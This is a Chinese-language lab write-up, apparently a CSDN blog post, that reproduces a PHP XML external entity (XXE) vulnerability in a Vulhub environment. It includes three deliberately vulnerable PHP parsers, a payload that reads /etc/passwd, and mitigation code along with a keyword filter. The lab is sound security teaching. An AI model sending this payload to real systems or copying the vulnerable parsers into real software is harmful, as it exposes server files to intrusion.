PHP环境 XML外部实体注入漏洞

PHP环境 XML外部实体注入漏洞

环境介绍

libxml 2.8.0
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

漏洞原理

XML 被设计为传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息,而 XML 旨在传输信息。XML特点,XML 被设计用来结构化、存储以及传输信息。仅仅是纯文本,有能力处理纯文本的软件都可以处理 XML。XML 允许创作者定义自己的标签和自己的文档结构。XML 是独立于软件和硬件的信息传输工具。所有现代浏览器都有读取和操作 XML 的内建 XML 解析器,但是不同的浏览器解析的方法不一样的,如在IE中使用loadXML()方法,在其他浏览器中使用DOMParser。loadXML()方法用于加载字符串文本,load()方法用于加载文件。解析器把 XML 载入内存,然后把它转换为可通过 JavaScript 访问的 XML DOM 对象。

漏洞复现

利用Vulhub靶场进行漏洞复现

cd /vulhub/php/php_xxe 
docker-compose up -d

环境启动后,访问 http://your-ip:8080/index.php 即可看到 phpinfo,搜索 libxml 即可看到其版本为 2.8.0。
在这里插入图片描述
Web目录位www有四个文件

├── dom.php # 示例:使用DOMDocument解析body

├── index.php

├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body

└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body

dom.php,SimpleXMLElement.php,simplexml_load_string.php均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。
三个页面源码依次如下:
dom.php

<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);

SimpleXMLElement.php

<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);

echo $xml->name;

simplexml_load_string.php

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;

通过burp suite抓取访问dom.php,SimpleXMLElement.php,simplexml_load_string.php的数据包并添加payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

修补方案和建议

  1. 使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml importetree xmlData= etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  1. 过滤用户提交的XML数据

如:!ENTITY,SYSTEM和PUBLIC

参考
https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008)
https://blog.csdn.net/EC_Carrot/article/details/118900314

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值